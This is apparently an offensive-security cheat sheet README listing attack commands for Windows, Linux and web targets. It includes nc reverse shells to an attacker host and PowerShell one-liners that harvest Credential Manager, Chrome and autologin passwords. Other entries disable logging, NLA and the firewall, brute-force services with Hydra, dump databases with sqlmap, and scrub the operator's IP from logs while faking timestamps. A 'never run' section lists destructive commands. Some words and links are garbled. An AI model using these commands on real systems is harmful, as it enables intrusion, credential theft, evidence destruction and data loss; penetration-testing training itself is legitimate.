hacking_time - Offensive security cheat sheet library

项目说明

<body>

![Typing SVG]()
<img src=' width='250'/>

<h2 align='center'>Welcome to my offensi cheat sheet library.</h2>
<h3 align='center'>Please use responsibly and ethically, especially when exploring sensiti concepts.</h3>

Starting point:
<ul>
<li>Enumeration is key</li>
<li>Pay attention to what you see, what you hear, what you think, what you do</li>
<li>Understand the dependencies and relationships</li>
<li>Take breaks at least for 20 minutes</li>
<li>Try smarter, try differently</li>
</ul>

<h3 id='start'> There are: </h3>
<ol>
<li><a href=' tools</a></li>
<li><a href=' Shells</a></li>
<li><a href='
<li><a href='#n1'>Commands</a></li>
<li><a href='#n2'>Payloads</a> with description. <a href=' just payloads in file</li>
<li><a href='#n3'>Sites</a></li>
<li><a href='#n4'>Tools</a></li>
<li><a href='#n5'>Pri Escalation</a></li>
<li><a href='#n6'>Tips</a></li>
<li><a href='#n7'>GPTs (Agents) for Cybersecurity</a></li>
<li><a href='#n8'>OSINT</a></li>
<li><a href='#n9'>API</a></li>
<li><a href='#n10'>WordPress</a></li>
<li><a href='#n11'>JWT</a></li>
<li>Help with <a href=' processes</li>
<li><a href=' (tools)</li>
<li><a href='
<li><a href='
<li><a href='#n12'>Toolkit</a></li>
<li><a href='#n13'>Web3</a></li>

<p><h3><ins>N.B. <-- Back link - Means return to the table of contents.</ins></h3>

</ol>

<h2 align='center' id='n1'><em> Commands </em></h2>
Topic contains:
<li>Remote Desktop Protocol <a href='#n1.1'>(RDP)</a></li>
<li><a href='#n1.2'>PowerShell</a></li>
<li><a href='#n1.3'>Linux</a></li>
<li><a href='#n1.4'>Windows</a></li>
<li><a href='#n1.5'>Nmap</a></li>
<li><a href='#n1.6'>Gobuster</a></li>
<li><a href='#n1.7'>Hydra</a></li>
<li><a href='#n1.8'>Dirsearch</a></li>
<li><a href='#n1.9'>Pumping</a> shell</li>
<li><a href='#n1.10'>SQLmap</a></li>
<li><a href='#n1.11'>John The Ripper</a></li>
<li><a href='#n1.12'>Hashcat</a></li>
<li><a href='#n1.13'>Google Dorks</a></li>
<li><a href='#n1.14'>GitHub Dorking</a></li>
<li><a href='#n1.15'>Ffuf</a></li>
<li><a href='#n1.16'>Rustscan</a></li>
<li><a href='#n1.17'>Masscan</a></li>
<li><a href='#n1.18'>Meterpreter</a></li>
<li><a href='#n1.19'>CMD (Windows)</a></li>
<li><a href='#n1.20'>Reverse shell</a></li>
<li><a href='#n1.21'>Git</a></li>
<li><a href='#n1.22'>SSH and id_rsa</a></li>
<li><a href='#n1.23'>Clear log files</li>
<li><a href='#n1.24'>Tmux</li>
<li><a href='#n1.25'>crackmapexec</li>
<li><a href='#n1.26'>Pipelines</li>

<h3 id='n1.1'>       <ins>Remote Desktop Protocol (RDP): </ins></h3>
<pre><code> xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:<TARGET_IP> /u:<USERNAME> /p:<'PASSWORD'></code></pre>
<p><pre><code> xfreerdp /v:<TARGET_IP> /u:<USERNAME> /p:<PASSWORD> +clipboard</code></pre></p>
<p><pre><code> xfreerdp /v:<TARGET_IP> /u:<USERNAME> /p:<PASSWORD> /w:1366 /h:768</code></pre></p>

<h3 id='n1.2'>       <ins>PowerShell commands </ins></h3>
<ul>
<li> To get stable shell from unstable from PowerShell. FILENAME.exe is the reverse shell:
<pre><code> powershell -c "In -Uri ' -OutFile 'C:\Windows\Temp\<FILENAME.exe>'" </code></pre>

<li><p> With this command, you can identify files with potentially sensitive data such as account information, credentials, configuration files, etc. based on their filename: <pre><code>gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue</code></pre>

<li><p> This command will look for remnants of autosets and autoconfigurations that could potentially contain plain text or base64 encoded passwords: <pre><code>gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue</code></pre>

<li><p> With this command it is possible to find files containing a specific pattern, for example here we are looking for the "password" pattern in text configuration files: <pre><code>gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"</code></pre>

<li><p> Using the following PowerShell command, you can find database connection strings (with plain text credentials) stored in configuration files such as web.config for ASP.NET configuration, Studio project files, etc.: <pre><code>gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"</code></pre>

<li><p> With this command, you can easily find configuration files belonging to a Microsoft IIS, XAMPP, Apache, PHP, or MySQL installation: <pre><code>gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue</code></pre>

<li><p> With the following one-liner, we can retrieve all stored credentials from the credential manager using the CredentialManager PowerShell module: <pre><code>Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }</code></pre>

<li><p> The following command retrie credentials from the Google Chrome browser, if installed and if there are sa: <pre><code>[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))</code></pre>

<li><p> The following command will get the autologin credentials from the registry: <pre><code>gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Current\Winlogon' | select "Default*"</code></pre>

<li><p> Sometimes it can be useful to set the MAC address on a network interface, and with PowerShell we can easily do this without using third party utilities: <pre><code>Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"</code></pre>

<li><p> This trio of commands can be useful when there is a goal to connect to the system using a graphical RDP session, but for some reason it is not enabled:
<p> Allow RDP connections - <pre><code>(Get-WmiObject -Class "Win32_TerminalSer" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)</code></pre>
<p> Disable NLA - <pre><code>(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)</code></pre>
<p> Allow RDP on the firewall - <pre><code>Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True</code></pre>

<li><p> Here is a useful command to whitelist an IP address in Windows Firewall: <pre><code>New-NetFirewallRule -Action Allow -DisplayName "name_rule" -RemoteAddress <DESIRED_IP></code></pre>
After we are done with our cases, remove the rule: <pre><code>Remo -DisplayName "name_rule"</code></pre>

<li><p> With the following commands, we can disable the logging feature of PowerShell commands in the current shell session: <pre><code>Set-PSReadlineOption –HistorySa Sa</code></pre>
<p> OR <pre><code>Remo PSReadline</code></pre>

<li><p> Here is a simple PowerShell command to query the Security Center and determine all installed antivirus products on this computer: <pre><code>Get-CimInstance -Namespace root/SecurityCenter2 -ClassName Anti</code></pre>

</ul>

<h3 id='n1.3'>       <ins> Linux </ins></h3>
<a href=' ExplainShell</a> - provides a con interface for searching help information for any command
<h4>     Commands to find </h4>
<ul>
<li> Find all files in / directory (-type d for find dirs):</li>
<p> <pre><code> find / -type f </code></pre>
<li> File name search:</li>
<p> <pre><code> find / -type f | grep '<FILE_NAME>' </code></pre>
<li> Find all path files with ‘config’ in proc dirs:</li>
<p> <pre><code> find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null </code></pre>
<li> To turn off send hostname via DHCP</li>
<p> <pre><code> sudo nano /etc/NetworkManager/system-connections/Wired\ connection\ 1 </code></pre>
<p>    [ipv4]
<p>    method=auto
<p>    dhcp-send-hostname=false
<li> To allow traffic routing on your part (Main rule for MITM)</li>
<p> <pre><code> sudo sysctl -w net.ipv4.ip_forward=1 </code></pre>
<li> Transferring files</li>
<pre><code> scp <FILE_NAME> <USERNAME>@<TARGET_HOST>:</path/to/dir/on/></code></pre>
<pre><code> wget </code></pre>
<pre><code> curl -o <FILE_NAME> </code></pre>
</ul>
<h4>     Never run these Linux commands: </h4>
<ul>
<li>This command will delete all files and folders on your computer:</li>
<pre><code> rm -rf / </code></pre>
<li>Also known as a "fork bomb", this command can cause a memory o on your computer and lead to system crash:</li>
<pre><code> :(){ :|: & };: </code></pre>
<li>This command formats the hard dri any warning or confirmation. All data will be lost:</li>
<pre><code> mkfs.ext4 /dev/sda </code></pre>
<li>This command o all data on the hard drive with random , resulting in data loss:</li>
<pre><code> dd if=/de of=/dev/sda </code></pre>
<li>This command grants full access to your file system for all users, which can compromise security:</li>
<pre><code> chmod 777 / </code></pre>
<li>This command moves all files in your home directory to "null", effectively deleting them:</li>
<pre><code> mv /home/* /dev/null </code></pre>
<li>This command downloads a file and o all data in "null", resulting in data loss:</li>
<pre><code> wget -O /dev/null </code></pre>
<li>This command formats the hard dri without any warning or confirmation. All data on this partition will be lost:</li>
<pre><code> mkfs.ext4 /dev/sda1 </code></pre>
<li>This command creates a symbolic link to "/etc/passwd" in "null", resulting in data loss:</li>
<pre><code> ln -s /dev/null /etc/passwd </code></pre>
<li>This will replace your partition containing all the necessary data for booting the system with the string "Hello":</li>
<pre><code> echo "Hello" > /dev/sda </code></pre>
<li>Such commands will download and execute malicious scripts on your system, potentially compromising your system's security:</li>
<pre><code> wget -O- | sh </code></pre>
<li>Symlink command:</li>
<pre><code>chmod +x exe_file_name</code></pre>
<pre><code>sudo ln -s /path/to/file/ /usr/local/bin/name_command</code></pre>
</ul>

<h3 id='n1.4'>       <ins>Windows </ins></h3>
<h4>     Commands to find </h4>
<ol>
<li> This command searches for the string "password" inside all files with the extensions .xml, .ini, .txt, and .config on the current C: drive:
<pre><code>cd C:\ & findstr /s /p /i /n /m "password" *.xml *.ini *.txt *.config</code></pre>
<ul>
<li> cd C:\ - changes to the root directory of the C: drive
<li> findstr - command for searching strings in files
<li> /s - performs a search in all subdirectories
<li> /p - skips files with non-printable characters
<li> /i - ignores case sensitivity when searching for strings
<li> /n - displays the line number containing the string
<li> /m - displays only the file name if a match is found
</ul>
<li> <code> dir </code> - like ls in linux
<li> <code> tree </code> utility is useful for graphically displaying the directory structure of a path or disk
<p> <code> tree c:\ /f | more </code> - used to walk through all the files in the C drive
<li> <code> icacls </code>
<p> The resource access level:
<ul>
<li> (CI): container inherit
<li> (OI): object inherit
<li> (IO): inherit only
<li> (NP): do not propagate inherit
<li> (I): permission inherited from parent container
</ul>
Basic access permissions:
<ul>
<li> F : full access
<li> D : delete access
<li> N : no access
<li> M : modify access
<li> RX : read and execute access
<li> R : read-only access
<li> W : write-only access
</ul>
A full listing of icacls command-line arguments and detailed permission settings can be found <a href='
<li>Check accounts permissions</li> <pre><code>whoami /priv</code></pre> <li>Check accounts groups</li>
<pre><code>whoami /groups</code></pre>
<li>List all installed Windows updates (qfe stands for Quick Fix Engineering)</li>
<pre><code>wmic qfe</code></pre>
<li>View the scheduled tasks</li>
<pre><code>schtasks /query /fo LIST /v</code></pre>
</ol>

<h3 id='n1.5'>       <ins> Nmap</ins> with script (1)</h3>
Need to <a href=' download </a> script files from github and copy to nmap scripts folder. Thanks for that, <a href=' Team </a>!

Checking for a in the software on the server:
<p> <pre><code> Nmap -Pn <TARGET_IP> --script=.nse -p<PORT(S)> </code></pre>
Checking brute force resistance on ssh:
<p> <pre><code> nmap --script ssh-brute -p <SSH_PORT> <TARGET_IP> --script-args userdb=users.lst,passdb=passwords.lst </code></pre>
Checking brute force resistance on ftp:
<p> <pre><code> nmap -d --script ftp-brute -p <FTP_PORT> <TARGET_IP> </code></pre>
Checking mysql anonymous login:
<p> <pre><code> nmap -s=mysql-empty-password <TARGET_IP> </code></pre>
Attempts to select a pair of login/password to enter the mysql database:
<p> <pre><code> nmap --script mysql-brute -p <MYSQL_PORT> <TARGET_IP> --script-args userdb=users.lst, passdb=passwords.lst </code></pre>
Search for hidden folders and files:
<p> <pre><code> nmap -sV -p <PORT> --script http-enum <TARGET_IP> </code></pre>
<p> P.S. If CMS, research <code><name_0f_CMS_0r_DB> brute force nmap</code>
<p> P.P.S. Full <a href=' of NMAP NSE sctipts.
<p>  Catogories: auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusi, safe, , vuln.

<h3>       <ins> Nmap</ins> with script (2)</h3>
Need to install script. Thanks for that, <a href=' Scip ag</a>!
<ol>
<li><pre><code> git clone </code></pre>
<p> Or read Scip ag instructions. Its easy. <li> Copy to /usr/share/nmap/scripts/ or another folder where you keep nmap scripts <li> Get rights <li> <pre><code> nmap -s=/.nse <TARGET> </code></pre> </ol>

<h3 id='n1.6'>       <ins> Gobuster command: </ins></h3>    Directories enumeration: <p>-u - target url <p>-w - wordlist <p>-s - include only responses with the specified status codes (comma-separated) <p>-d - exclude responses with the specified status codes (comma-separated) <p>--exclude-length - exclude responses with specific content lengths (comma-separated, supports ranges) <pre><code>gobuster dir -u <TARGET_URL> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code></pre>    Subdomains enumeration: <p>vhost - for enumirate hosts <pre><code>gobuster vhost -w </path/to/wordlist> -u <url></code></pre>     OR <p>t - threads <pre><code>gobuster dns <TARGET_DOMAIN> -w /usr/share/wordlists/dns/subdomains_list.txt -t 50</code></pre>

<h3 id='n1.7'>       <ins> Hydra </ins></h3>     Brute force against a protocol of some choice: <pre><code> hydra -P <WORLIST> -v <TARGET_IP> <PROTOCOL> </code></pre> <p>     Brute Force ssh: <pre><code>hydra -L /path/to/file/user.txt -P /path/to/file/pass.txt <TARGET_IP> ssh -t 4</code></pre> <p>     Brute Force smb example: <pre><code> hydra -L ~/path/to_file/user.txt -P ~.path/to_file/pass.txt <TARGET_IP> smb -V</code></pre> <p>     Can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in some lists. (-v mode, showing login attempts): <pre><code> hydra -v -V -u -L <USERNAME_LIST> -P <PASSWORD_LIST> -t 1 -u <TARGET_IP> <PROTOCOL> </code></pre> <p>     Attack a Windows Remote Desktop with a password list: <pre><code> hydra -t 1 -V -f -l <USERNAME> -P <WORDLIST> rdp://<TARGET_IP> </code></pre> <p>     Craft a more specific request for Hydra to brute force: <pre><code> hydra -l <USERNAME> -P .<PASSWORD_LIST> $ip - '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' </code></pre>

<h3 id='n1.8'>       <ins> Dirsearch </ins></h3> Search a lot of interesting by extensions: <pre><code> dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -u '<TARGET_IP>' </code></pre>

<h3 id='n1.9'>       Way to <ins>pump</ins> nc shell </h3> <ul> <li>Python way. PTY is a library for pseudo-terminal functionality that is part of the Standard Python Library. There is a nc shell and get pump shell: <pre><code> python -c 'import pty;pty.spawn("/bin/bash")' </code></pre> <pre><code>export TERM=xterm</code></pre> <p>Console to bg (Ctrl+Z) </p> <pre><code>stty raw -echo; fg</code></pre> <p> If no python: <pre><code>/usr/bin/script -qc /bin/bash /dev/null</code></pre> <li> Another way: <pre><code>script /dev/null -c /bin/bash</code></pre> Console to bg (Ctrl+Z) ->  <pre><code>stty raw -echo; fg</code></pre> Then double Enter and we again in shell and input <pre><code>export TERM=xterm</code></pre> <li><pre><code>/usr/bin/script -qc /bin/bash /dev/null</code></pre></li> <li>Or check this <a href=' for more help</li> </ul>

<h3 id='n1.10'>       <ins> SQLmap </ins></h3>     Start SQL injection attack: <pre><code>sqlmap -u "<TARGET_URL>" --dbs --batch</code></pre> -u - target URL <p>--dbs - get db name <p>--batch -default whenever user input is una <p>     When get the db name to get tables name <pre><code>sqlmap -u "<TARGET_URL>" -D <db_name> --tables --batch</code></pre> -D - db name <p>--tables - tables enumiration <p>     To get columns name in the table of interest <pre><code>sqlmap -u "<TARGET_URL>" -D <db_name> -T <table_name> --columns --batch</code></pre> -T - selected table <p>--columns - to output db columns <p>     Get data from table <pre><code>sqlmap -u "<TARGET_URL>" -D <db_name> -T <table_name> --dump --batch</code></pre> --dump - unload information from the DBMS database <p>     Will execute all the abo at once and output all information about the database, including table names, columns, etc. <pre><code>sqlmap -u "<TARGET_URL>" -D <db_name> --dump-all --batch</code></pre> --dump-all - unload all information from the DBMS database

<h3 id='n1.11'>       <ins> John The Ripper </ins></h3> Firstly use hash-identifier. <p><h4>     Cracking some type of hashes: </h4> <pre><code>john --format=raw-<encryption> --wordlist=path/to/wordlist.txt to_crack.txt</code></pre> <encryption> - md4, md5, sha1, sha256, whirlpool <p><h4>     Single Mode </h4> <p> There is a username and hash password (username:d776dd32d662b8efbdf853837269bd725203c579 and this line in file to-crack.txt), so use this mode to generate password (Username, USERNAME, UseRNAmE, and so on): <pre><code>john --single --format=raw-sha1 to_crack.txt</code></pre> <p><h4>     Dictionary Mode </h4> <p>There is a file to_crack.txt with edba955d0ea15fdef4f61726ef97e5af507430c0, for example. <p> The command to run John in dictionary mode using the wordlist: <pre><code>john --wordlist=path/to/wordlist.txt --format=raw-sha1 to_crack.txt</code></pre> <p><h4>     Incremental Mode </h4> <p>It tries all possible character combinations as passwords. Can go on for a long time if the password is too long or a combination of alphanumeric characters and symbols: <pre><code>john -i:digits passwordfile.txt</code></pre> <p> -i - tells John that to use the increment mode <p> digits - can be used to set the maximum number of digits in the password <p><h4>     To crack LM/NTLM: </h4> <pre><code>john --format=lm to_crack.txt</code></pre> <p><h4>     To crack a Linux password </h4> <p>The unshadow command combines the passwd (/etc/passwd) and shadow(/etc/shadow) files together into a single file. This can then be used by John to crack passwords. <p> The command will combine the files together and create an output.db file: <pre><code>unshadow /etc/passwd /etc/shadow > output.db</code></pre> <p> Now crack the output.db file: <pre><code>john output.db</code></pre> <p><h4>     Cracking a Zip file password </h4> <p> First have to get the hash of the zip file’s password. Command will get the hash from the zip file and store it in the zip.hashes file: <pre><code>zip2john file.zip > zip.hashes</code></pre> <p> Then to crack the hash: <pre><code>john zip.hashes</code></pre>

<h3 id='n1.12'>       <ins> Hashcat </ins></h3> <p><h4>     MD5 Hashes </h4> <p> hash.txt > 8743b52063cd84097a65d1633f5c74f5 <p> Use: <pre><code>hashcat -m 0 -a 0 hash.txt passwordlist.txt</code></pre> <p> -m 0 - MD5 hash mode <p> -a 0 - dictionary mode <p> hash.txt - txt file containing hash in a compliant format <p> passwordlist.txt - dictionary file containing passwords in plain text <p><h4>     Salted MD5 Hashes </h4> <p> hash.txt > md5($pass.$salt): 01dfae6e5d4d90d59afbe:7050461 <pre><code>hashcat -m10 -a0 hash.txt passwordlist.txt</code></pre> <p> -m 10 - salted MD5 hash mode <p><h4>     MD5Crypt Digets </h4> <p> hash.txt > md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) $1$28772684$iEwNOgGugqO9.bIz5sk8k/ <pre><code>hashcat -m 500 -a 0 hash.txt passwordlist.txt</code></pre> <p> -m 500 - MD5Crypt Digests hash mode <p><h4>     HMAC-SHA1 key </h4> <p> hash.txt > HMAC-SHA1 (key = $pass) c898896f3f70f61bc3fb19bef222aa860e5ea717:1234 <pre><code>hashcat -m150 -a 0 hash.txt passwordlist.txt</code></pre> <p> -m 150 - HMAC-SHA1 key hash mode <p><h4>     SHA-1 Digets </h4> <p> hash.txt > b89eaac7e61417341b710b727768294d0e6a277b <pre><code>hashcat -m100 -a 0 hash.txt passwordlist.txt</code></pre> <p> -m 100 - SHA1 digest hash mode <p><h4>     SHA2-384 Hash </h4> <p> hash.txt > SHA2-384 07371af1ca1fca7c6941d2399f3610f1e392c56c6d73fddffe38f18c430a2817028dae1ef09ac683b62148a2c8757f42 <pre><code>hashcat -m 10800 -a 0 hash.txt passwordlist.txt</code></pre> <p> -m 10800 - SHA-2 Digests hash mode <p><h4>     SHA3-512 Hash </h4> <p> hash.txt > SHA3–512 7c2dc1d743735d4e069f3bda85b1b7e9172033dfdd8cd599ca094ef8570f3930c3f2c0b7afc8d6152ce4eaad6057a2ff22e71934b3a3dd0fb55a7fc84a53144e <pre><code>hashcat -m 17600 -a 0 hash.txt passwordlist.txt</code></pre> <p> -m 17600 - SHA3–512 hash mode <p><h4>     NTLM Hashes </h4> <p> hash.txt > b4b9b02e6f09a9bd760f388b67351e2b <pre><code>hashcat -m 1000 -a 0 hash.txt passwordlist.txt</code></pre> <p> -m 1000 - NTLM Digests hash mode <p><h4>     CRC32 hashes </h4> <p> hash.txt > c762de4a:00000000 <pre><code> hashcat -m 11500 -a 0 hash.txt passwordlist.txt</code></pre> <p> -m 11500 - CRC32 hash mode

<h3 id='n1.13'>       <ins> Google Dorks </ins></h3> <ul> <li> site: - returns results for the specified domain <li> intitle: - search in title <li> inurl: - search by url <li> related: - returns sites to the specified one <li> ext: or filtype: - search by page extension or filetype <li> cahce: <li> intext: <li> allintext: <li> allinurl: <li> More <a href=' here </a> </ul>

<h3 id='n1.14'>       <ins> GitHub Dorking </ins></h3> <ul> <li> AWS keys <pre><code>path:**/.en</code></pre> <li> Open DB passwords <pre><code></code>DB_PASSWORD=</pre> <li> DB dump files <pre><code>path:*.sql "CREATE TABLE" AND "INSERT INTO"</code></pre> <li> API keys <pre><code>path:**/.properties api_key</code></pre> <li> Root passwords in docker-compose <pre><code>path:**/docker-compose.yml MYSQL_ROOT_PASSWORD</code></pre> <li> Private keys <pre><code>path:*.pem private</code></pre> <li> Open secrets JWT <pre><code>language:ja jwt_secret OR jwt_key</code></pre> <li> Open .git directories <pre><code>path:**/.git/*</code></pre> <li> Public ssh keys <pre><code>path:*.pub "ssh-rsa"</code></pre> <li> Passphrase <pre><code>passphrase * path:**/.json</code></pre> <li> Check commit and issues <li> Search and looking for vulns in codes (for example SQLi and SSRF) <pre><code>/SELECT \* FROM.*\$_GET/</code></pre> <pre><code>/file_get_contents\(.*\$_GET|curl_exec\(.*\$_GET/</code></pre> <pre><code>/(subprocess|exec|spawn|system).*chrome.*--headless/</code></pre> </ul>

<h3 id='n1.15'>       <ins> FFUF</ins></h3> Flags: <p>-mc (match code) - Include only responses that match the specified status codes (e.g., 200,204,301, 400-499) <p>-ms (match size) - Include only responses that match a specific size or range of sizes <p>-mw (match word count) - Include only responses that have the specified amount of words in the response body (-fw "admin") <p>-ml (match line count) - Include only responses that have the specified amount of lines in the response body <p>-mt (match time) - Include only responses that meet a specific time-to-first-byte (TTFB) condition. This is useful for identifying responses that are unusually slow or fast, potentially indicating interesting behavior <p>-fc (filter code) - Exclude responses that match the specified status codes, using the same format as -mc <p>-fs (filter size) - Exclude responses with a specific size or range of sizes <p>-fw (filter word) - Enclude only responses containing the specified word or phrase in the response body <p>-fl (filter line) - Exclude responses with a specific number of lines or range of lines. For example, -fl 5 will filter out responses with 5 lines <p>-e - extensions file
<p>-recursion - recursion fuzzing
<pre><code>ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u -e .php,.html,.txt</code></pre>
<pre><code>ffuf -w /path/to/wordlist1.txt -w /path/to/wordlist2.txt -u -mc 200 -ic</code></pre>
<pre><code>ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u -recursion</code></pre>
<pre><code>ffuf -u -H "FUZZ.<TARGET.DOMAIN>" -w /path/to/worlist</code></pre>
<pre><code>ffuf -t 1 -p 0.33</code></pre>

<h3 id='n1.16'>       <ins> Rustscan</ins></h3>
<ul>
<li> Download <a href=' deb packet </a>
<li> Install: <pre><code>sudo dpkg -i rustscan_2.0.1_amd64.deb</code></pre>
<li> Use:
<ul>
<li> Simple ports scanning:
<pre><code>rustscan -a www.<target_site.com></code></pre>
<li> Specific port scanning:
<pre><code>rustscan -a www.<target_site.com> -p 443</code></pre>
<p> Or few ports:
<pre><code>rustscan -a www.<target_site.com> -p 21,22,80,443</code></pre>
<li> Ports detection in the range 1-1000:
<pre><code>rustscan -a www.<target_site.com> --range 1-1000</code></pre>
</ul>
</ul>

<h3 id='n1.17'>       <ins> Masscan</ins></h3>
<ul>
<li> Scanning a Single IP Address:
<pre><code>masscan <target_ip></code></pre>
<li> Scanning an IP Range:
<pre><code>masscan 192.168.0.0-192.168.0.255</code></pre>
<li> Scanning Specific Ports:
<pre><code>masscan -p80,443 192.168.0.1</code></pre>
<li> Scanning All Ports:
<pre><code>masscan -p0-65535 192.168.0.1</code></pre>
<li> Setting Scan Rate:
<pre><code>masscan -p80 192.168.0.1 --rate 10000</code></pre>
<p> --rate - lets set the scan rate. In this case, scanning occurs at 10,000 packets per second. Select the speed indi. IMHO 500-1000 is ok.
<li> Saving Results to a File:
<pre><code>masscan -p80 192.168.0.1 -oG results.txt</code></pre>
<p> -oG - allows to save scan results in grepable format to a file.
<li> Scanning Specific Packet Types:
<pre><code>masscan -p80 192.168.0.1 --packet 1-5</code></pre>
<p> --packet - lets specify packet types for scanning.
<li> Scanning Proxy:
<pre><code>masscan -p80 192.168.0.1 --source-ip <proxy_ip> --source-port <proxy_port></code></pre>
<p> flags allows to specify the source IP and port for scanning through a SOCKS5 proxy.
</ul>

<h3 id='n1.18'>       <ins> Meterpreter</ins></h3>
<ul>
<li> arp - displays MAC and IP addresses of local devices interacted with
<li> cd - command to change to another directory/folder
<li> cleare logs (need administration privs)
<li> dir/ls - lists files and folders in the specified directory
<li> download - downloads files from the remote machine to the local machine
<li> getpid - displays the process ID under which Meterpreter is running
<li> getproxy - retrie about the system's proxy server
<li> getsystem - attempts to escalate pri
<li> getuid - displays the current user on behalf of whom Meterpreter is running
<li> hashdump - dump all password hashes
<li> help - help, display help documentation
<li> idletime - displays user inactivity time on the remote computer
<li> ifconfig/ipconfig - displays network settings
<li> migrate - migrates meterpreter to another process
<li> netstat - displays current network connections
<li> ps - lists all current processes
<li> pwd - displays the current directory/folder
<li> record_mic - records audio on the remote machine
<li> route - displays the routing table
<li> run persistance <with_parameters> - get backdoor (persistance help)
<li> search - search for files, modules
<li> show_mount - lists physycal and logical disks
<li> sysinfo - dislays brief information about the remote system
<li> upload - uploads files from the local machine to the remote machine
<li> webcam_chat - organize a video chat
<li> webcam_snap - takes a snapshot from the remote built-in camera
<li> webcam_stream - obtains a video stream from the remote built-in camera
<li> <code>run post/multi/recon/local_exploit_suggester</code> - recon for privesc
<li> <code>load kiwi</code> - to load mimikatz
</ul>

<h3 id='n1.19'>       <ins> CMD </ins></h3>
<ol>
<li> Clearing log files
<ul>
<li> we cl Application
<li> we cl System
<li> we cl Security
<p> OR check firewall settings to find location of log file
<li> netsh firewall show config (old command)
<li> netsh ad show currentprofile (MS recomends that command) -> cd log file direcroty, more file.log for read -> disable firewall
<li> netsh firewall set opmode disable - disables the firewall (old command)
<li> netsh ad set currentprofile state off
<li> del file.log
</ul>
<li> System Information
<ul>
<li> systeminfo - displays system information and installed patches
<li> net user - lists local users
<li> whoami /all - provides information the current user
<li> dri - lists installed drivers
</ul>
<li> Network Settings
<ul>
<li> ipconfig /all - shows network settings
<li> ipconfig /displaydns - display cached DNS records
<li> arp -a - lists IP addresses that the computer has communicated with
<li> netstat - shows established connections
<li> netstat -a - lists open ports
<li> netstat -ao - displays open ports and associated IDs
<li> netstat -abo - lists open ports, associated process IDs, and their names
<li> netstat -r - shows the routing table
</ul>
<li> Working with Services
<ul>
<li> tasklist - lists current processes
<li> taskkill /f /pid "process_number" - terminates a process
<li> schtasks - displays scheduled tasks
<li> sc query - lists all services
<li> sc query "ser" - checks the status of a service
<li> sc start/stop "ser" - starts or stops service
<li> net start - lists running services
</ul>
<li> Working with the File System
<ul>
<li> cd - na through the file system
<li> dir - lists files and folders in the current directory
<li> dir /ah - displays hidden files and folders
<li> dir /ad - lists folders only
<li> dir /b /s "folder and search term" - searches for files based on a keyword
<li> mkdir - creates a new folder
</ul>

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
</ol>

<h3 id='n1.20'>       <ins> Reverse Shell </ins></h3>
<ol>
<li> <pre><code> rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> <ATTACKER_PORT> >/tmp/f </code></pre>
</ol>

<h3 id='n1.21'>      <ins>Git</ins></h3>
<ol>
<li> <code>git log</code> - show commitshistory <li> <code>git diff</code> - show difference between commits <li> <code>git blame</code> - who and when changed line in file <li> <code>git checkout</code> - change commit or branch <li> <code>git branch</code> - show branches <li> <code>git tag</code> - show all tags in the repo </ol> <h3 id='n1.22'>      <ins>SSH and id_rsa</ins></h3> <ul> <li>Copy id_rsa</li> <li>chmod 600 id_rsa</li> to set right permissoon for use (It is required that your private key files are NOT accessible by others.) <li>Connect:</li> <pre><code>ssh -i id_rsa <USERNAME>@<TARGET_IP></code></pre> </ul> <h3 id='n1.23'>      <ins>Clear log files</ins></h3> <ol> <li>Check log file coplies (for example <code>ls -la /var/log/*.gz /var/log/*.1 /var/log/*.old</code>)</li> <li>Sa</li> <pre><code>find /var/log -type f -exec touch -r {} {}.timestamp \;</code></pre>  <li>Delete</li> <pre><code>find /var/log -type f -exec sed -i '/YOUR_IP/d' {} \;</code></pre> <li>Reco</li> <pre><code>find /var/log -type f -name "*.timestamp" -exec sh -c 'touch -r "${0%.timestamp}" "$0"' {} \;</code></pre>  <p>Or use this <a href=' if save as in second stage</p> <li>Check result</li> <pre><code>grep 'YOUR_IP' /var/log/*</code></pre> </ol> <h3 id='n1.24'>      <ins>Tmux</ins></h3>

